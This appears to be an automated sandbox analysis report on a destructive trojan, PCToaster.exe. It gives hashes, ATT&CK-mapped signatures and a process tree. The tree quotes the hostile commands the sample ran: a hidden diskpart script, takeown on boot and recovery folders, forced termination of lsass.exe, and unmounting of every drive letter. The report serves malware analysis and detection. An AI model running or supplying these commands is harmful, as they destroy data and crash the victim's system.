85a58aa96dccd94316a34608ba996656a22c8158d5156b6e454d9d69e6ff38c3

Analysis

max time kernel
107s
max time network
68s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
22/02/2026, 01:58

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Reason

Machine shutdown

General

Target
The-MALWARE-Repo-master/Trojan/PCToaster.exe
Size 411KB
Sample260222-cdtt7sb16e
SHA256 85a58aa96dccd94316a34608ba996656a22c8158d5156b6e454d9d69e6ff38c3
MD5 04251a49a240dbf60975ac262fc6aeb7
SHA1 e211ca63af2ab85ffab1e5fbbdf28a4ef8f77de0
SHA512 3422a231e1dadb68d3567a99d46791392ecf5883fd3bbc2cae19a595364dac46e4b2712db70b61b488937d906413d39411554034ffd3058389700a93c17568d2
SSDEEP 3072:quJFS5Aqu+WwjxeI/0gVnfKl0FA+aPobO24yNz88iu8vDYHTlI5EJD5Hbibfd6PK:/JM0mCsWq1/qpz+nF5c
TLSH
T14A946082EA1681E8F82B72F1669D3CC418A25C9D94C6D61FB1B735109933783DD7BA0F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4440	takeown.exe
1908	takeown.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	mountvol.exe
File opened (read-only)	\??\V:	takeown.exe
File opened (read-only)	\??\K:	mountvol.exe
File opened (read-only)	\??\O:	mountvol.exe
File opened (read-only)	\??\R:	mountvol.exe
File opened (read-only)	\??\I:	mountvol.exe
File opened (read-only)	\??\L:	mountvol.exe
File opened (read-only)	\??\N:	mountvol.exe
File opened (read-only)	\??\P:	mountvol.exe
File opened (read-only)	\??\V:	takeown.exe
File opened (read-only)	\??\B:	mountvol.exe
File opened (read-only)	\??\D:	mountvol.exe
File opened (read-only)	\??\G:	mountvol.exe
File opened (read-only)	\??\Q:	mountvol.exe
File opened (read-only)	\??\S:	mountvol.exe
File opened (read-only)	\??\T:	mountvol.exe
File opened (read-only)	\??\W:	mountvol.exe
File opened (read-only)	\??\A:	mountvol.exe
File opened (read-only)	\??\H:	mountvol.exe
File opened (read-only)	\??\J:	mountvol.exe
File opened (read-only)	\??\M:	mountvol.exe
File opened (read-only)	\??\U:	mountvol.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\Y:	mountvol.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PCToaster.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5064	taskkill.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4440	takeown.exe
Token: SeDebugPrivilege	5064	taskkill.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3268	javaw.exe
3268	javaw.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2376 wrote to memory of 3268	2376	PCToaster.exe	82
PID 3268 wrote to memory of 1920	3268	javaw.exe	85
PID 3268 wrote to memory of 1056	3268	javaw.exe	87
PID 3268 wrote to memory of 4440	3268	javaw.exe	94
PID 3268 wrote to memory of 1908	3268	javaw.exe	96
PID 3268 wrote to memory of 5064	3268	javaw.exe	102
PID 3268 wrote to memory of 5760	3268	javaw.exe	105
PID 3268 wrote to memory of 5412	3268	javaw.exe	107
PID 3268 wrote to memory of 1732	3268	javaw.exe	109
PID 3268 wrote to memory of 4436	3268	javaw.exe	111
PID 3268 wrote to memory of 720	3268	javaw.exe	113
PID 3268 wrote to memory of 5300	3268	javaw.exe	115
PID 3268 wrote to memory of 3968	3268	javaw.exe	117
PID 3268 wrote to memory of 5964	3268	javaw.exe	119
PID 3268 wrote to memory of 1240	3268	javaw.exe	121
PID 3268 wrote to memory of 6140	3268	javaw.exe	123
PID 3268 wrote to memory of 6120	3268	javaw.exe	125
PID 3268 wrote to memory of 1744	3268	javaw.exe	127
PID 3268 wrote to memory of 460	3268	javaw.exe	129
PID 3268 wrote to memory of 4316	3268	javaw.exe	131
PID 3268 wrote to memory of 5356	3268	javaw.exe	133
PID 3268 wrote to memory of 3400	3268	javaw.exe	135
PID 3268 wrote to memory of 776	3268	javaw.exe	137
PID 3268 wrote to memory of 3488	3268	javaw.exe	139
PID 3268 wrote to memory of 1408	3268	javaw.exe	141
PID 3268 wrote to memory of 2168	3268	javaw.exe	143
PID 3268 wrote to memory of 4340	3268	javaw.exe	145
PID 3268 wrote to memory of 4500	3268	javaw.exe	147
PID 3268 wrote to memory of 4044	3268	javaw.exe	149
PID 3268 wrote to memory of 2532	3268	javaw.exe	151
PID 3268 wrote to memory of 6064	3268	javaw.exe	153
PID 3268 wrote to memory of 5272	3268	javaw.exe	155

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\The-MALWARE-Repo-master\Trojan\PCToaster.exe
"C:\Users\Admin\AppData\Local\Temp\The-MALWARE-Repo-master\Trojan\PCToaster.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Program Files\Java\jre-1.8\bin\javaw.exe
  "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\The-MALWARE-Repo-master\Trojan\PCToaster.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\SYSTEM32\attrib.exe
    attrib +h C:\Users\Admin\AppData\Local\Temp\The-MALWARE-Repo-master\Trojan\scr.txt
    3⤵
    - Views/modifies file attributes
    PID:1920
- - C:\Windows\SYSTEM32\diskpart.exe
    diskpart /s C:\Users\Admin\AppData\Local\Temp\The-MALWARE-Repo-master\Trojan\scr.txt
    3⤵
    PID:1056
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f V:\Boot /r
    3⤵
    - Modifies file permissions
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:4440
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f V:\Recovery /r
    3⤵
    - Modifies file permissions
    - Enumerates connected drives
    PID:1908
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /im lsass.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5064
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol A: /d
    3⤵
    - Enumerates connected drives
    PID:5760
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol B: /d
    3⤵
    - Enumerates connected drives
    PID:5412
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol D: /d
    3⤵
    - Enumerates connected drives
    PID:1732
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol E: /d
    3⤵
    PID:4436
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol F: /d
    3⤵
    PID:720
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol G: /d
    3⤵
    - Enumerates connected drives
    PID:5300
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol H: /d
    3⤵
    - Enumerates connected drives
    PID:3968
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol I: /d
    3⤵
    - Enumerates connected drives
    PID:5964
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol J: /d
    3⤵
    - Enumerates connected drives
    PID:1240
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol K: /d
    3⤵
    - Enumerates connected drives
    PID:6140
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol L: /d
    3⤵
    - Enumerates connected drives
    PID:6120
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol M: /d
    3⤵
    - Enumerates connected drives
    PID:1744
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol N: /d
    3⤵
    - Enumerates connected drives
    PID:460
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol O: /d
    3⤵
    - Enumerates connected drives
    PID:4316
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol P: /d
    3⤵
    - Enumerates connected drives
    PID:5356
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol Q: /d
    3⤵
    - Enumerates connected drives
    PID:3400
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol R: /d
    3⤵
    - Enumerates connected drives
    PID:776
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol S: /d
    3⤵
    - Enumerates connected drives
    PID:3488
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol T: /d
    3⤵
    - Enumerates connected drives
    PID:1408
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol U: /d
    3⤵
    - Enumerates connected drives
    PID:2168
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol V: /d
    3⤵
    PID:4340
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol W: /d
    3⤵
    - Enumerates connected drives
    PID:4500
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol X: /d
    3⤵
    - Enumerates connected drives
    PID:4044
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol Y: /d
    3⤵
    - Enumerates connected drives
    PID:2532
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol Z: /d
    3⤵
    - Enumerates connected drives
    PID:6064
- - C:\Windows\SYSTEM32\mountvol.exe
    mountvol C: /d
    3⤵
    PID:5272

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2764

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

scr.txt

Path C:\Users\Admin\AppData\Local\Temp\The-MALWARE-Repo-master\Trojan\scr.txt
Size 45B
SHA256 7e9cde40095f2a877375cb30fecd4f64cf328e3ab11baed5242f73cbb94bd394
MD5 ad1869d6f0b2b809394605d3e73eeb74
SHA1 4bdedd14bfea9f891b98c4cc82c5f82a58df67f6
SHA512 8fe0f269daf94feaa246a644dbeeda52916855f1d2bfd2c6c876c7c9c80b0ceb7e42caf0b64a70bda9a64d4529b885aaa38998a515d6abbe88ad367e72324136
MD5 SHA1 SHA512

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memory/2376-0-0x0000000000400000-0x000000000046E000-memory.dmp

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memory/3268-29-0x000001C65E3E0000-0x000001C65E435000-memory.dmp

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memory/3268-17-0x000001C642BF0000-0x000001C642BF1000-memory.dmp

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memory/3268-24-0x000001C642BF0000-0x000001C642BF1000-memory.dmp

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memory/3268-27-0x000001C642BF0000-0x000001C642BF1000-memory.dmp

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memory/3268-3-0x000001C6444D0000-0x000001C644740000-memory.dmp

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memory/3268-30-0x000001C6444D0000-0x000001C644740000-memory.dmp

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memory/3268-39-0x000001C642BF0000-0x000001C642BF1000-memory.dmp

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memory/3268-58-0x000001C642BF0000-0x000001C642BF1000-memory.dmp

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memory/3268-84-0x000001C642BF0000-0x000001C642BF1000-memory.dmp

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memory/3268-98-0x000001C642BF0000-0x000001C642BF1000-memory.dmp

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memory/5064-38-0x000001573E5A0000-0x000001573E5F5000-memory.dmp

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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